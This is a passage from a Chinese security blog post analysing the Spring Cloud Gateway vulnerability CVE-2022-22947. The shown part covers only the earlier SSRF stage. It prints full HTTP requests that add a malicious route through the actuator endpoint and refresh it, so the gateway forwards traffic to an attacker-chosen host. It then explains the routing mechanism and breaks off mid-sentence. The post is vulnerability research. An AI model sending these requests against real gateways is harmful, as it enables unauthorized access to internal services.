从SSRF 到 RCE —— 对 Spring Cloud Gateway RCE漏洞的分析

本文最后更新于 2022.03.07,总计 11088 字 ,阅读本文大概需要 6 ~ 22 分钟
本文已超过 643天 没有更新。如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

0x01 写在前面

本周二(3.1)的时候Spring官方发布了 Spring Cloud Gateway CVE 报告

1.png

其中编号为 CVE-2022-22947 Spring Cloud Gateway 代码注入漏洞的严重性为危急,周三周四的时候就有不少圈内的朋友发了分析和复现过程,由于在工作和写论文,就一直没去跟踪看看,周末抽了点时间对这个漏洞进行复现分析了一下。还是挺有意思的。

0x02 从SSRF说起

看到这个漏洞利用流程的时候,就有一种熟悉的既视感,回去翻了翻陈师傅的星球,果然:

2.png

去年12月的时候,陈师傅提了一个 actuator gateway 的 SSRF漏洞,这个漏洞来自 wya

作者在文章中提到,通过Spring Cloud Gateway 执行器(actuator)提供的管理功能就可以对路由进行添加、删除等操作。

3.png

因此作者利用 actuator 提供的路由添加功能,并根据官方示例,如下图:

4.png

添加了一个路由:

POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
Content-Type: application/json

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/new_route/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "/new_route(?<path>.*)",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "https://wya.pl",
  "order": 0
}

在执行 refresh 操作后,作者成功执行了一个SSRF请求(向https://wya.pl/index.php发起的请求):

5.png

陈师傅最后还在星球里给了个演示的实例:https://github.com/API-Security/APISandbox/blob/main/OASystem/README.md

先不具体讨论为什么payload会这样写,如果你熟悉 CVE-2022-22947 的payload,那么看到这里你一定会有同样的熟悉感。

是的,CVE-2022-22947 这个漏洞实际上就是这个 SSRF 的进阶版,并且触发SSRF的原理并不复杂

首先利用/actuator/gateway/routes/{new route}的方式指定一个URL地址,并针对该地址添加一个路由

POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Content-Type: application/json

{
  "predicates": [
    {
      "name": "Path",
      "args": {
        "_genkey_0": "/new_route/**"
      }
    }
  ],
  "filters": [
    {
      "name": "RewritePath",
      "args": {
        "_genkey_0": "/new_route(?<path>.*)",
        "_genkey_1": "/${path}"
      }
    }
  ],
  "uri": "https://www.cnpanda.net",
  "order": 0
}

然后刷新令这个路由生效:

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Content-Type: application/json

{
  "predicate": "Paths: [/new_route], match trailing slash: true",
  "route_id": "new_route",
  "filters": [
    "[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]"
  ],
  "uri": "https://www.cnpanda.net",
  "order": 0
}

最后直接访问/new_route/index.php即可触发SSRF漏洞。

到这里有两个问题:第一,payload为什么会这样写?第二,整个请求流程是什么样的?

首先来看第一个问题,payload为什么会这样写

上文中我们提到了Spring Cloud Gateway官方给的实例如下:

{
  "id": "first_route",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"/first"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}

这实例对比一下SSRF的payload,我们可以发现,在SSRF的payload中多了对过滤器(filters)的具体定义。

而纵观整个payload,实际上可以发现,其就是一个动态路由的配置过程

在Spring Cloud Gateway中,路由的配置分为静态配置和动态配置,对于静态配置而言,一旦要添加、修改或者删除内存中的路由配置和规则,就必须重启才可以。但在现实生产环境中,使用 Spring Cloud Gateway 都是作为所有流量的入口,为了保证系统的高可用性,需要尽量避免系统的重启,因而一般情况下,Spring Cloud Gateway使用的都是动态路由。

Spring Cloud Gateway 配置动态路由的方式有两种,第一种就是比较常见的,通过重写代码,实现一套动态路由方法,如这里就有一个动态路由的配置过程。第二种就是上文中SSRF这种方式,但是这种方式是基于jvm内存实现,一旦服务重启,新增的路由配置信息就是完全消失了。这也是P师傅在v2ex上回答的原理

6.png

所以其实payload就是比较固定的格式,首先定义一个谓词(predicates),用来匹配来自用户的请求,然后再增加一个内置或自定义的过滤器(filters),用于执行额外的功能逻辑。

payload中我们用的是重写路径过滤器(RewritePath),类似的还有设置路径过滤器(SetPath)、去掉URL前缀过滤器(StripPrefix)等,具体可以参考gateway内置的filter这张图:

7.png

以及gateway内置的Global Filter图:

8.png

第一个问题搞懂了就可以看看第二个问题了:整个请求流程是什么样的?

还是如上例所演示的,当在浏览器中向127.0.0.1:8080地址发起根路径为/new_route的请求时,会被 Spring Cloud Gateway 转发请求到https://www.cnpanda.net/的根路径下

比如,我们向127.0.0.1:8080地址发起为/new_route/index.php的请求,那么实际上会被 Spring Cloud Gateway 转发请求到https://www.cnpanda.net/index.php的路径下,官方在其官方文档(Spring Cloud GateWay工作流程)简单说明了流程:

9.png

看起来比较简单,实际上要复杂的多,我做了一个更详细一点图帮助大家理解:

10.png

我们首先向浏览器发送http://127.0.0.1:8080/new_route/index.php 的请求,浏览器接收该请求后交给Spring Cloud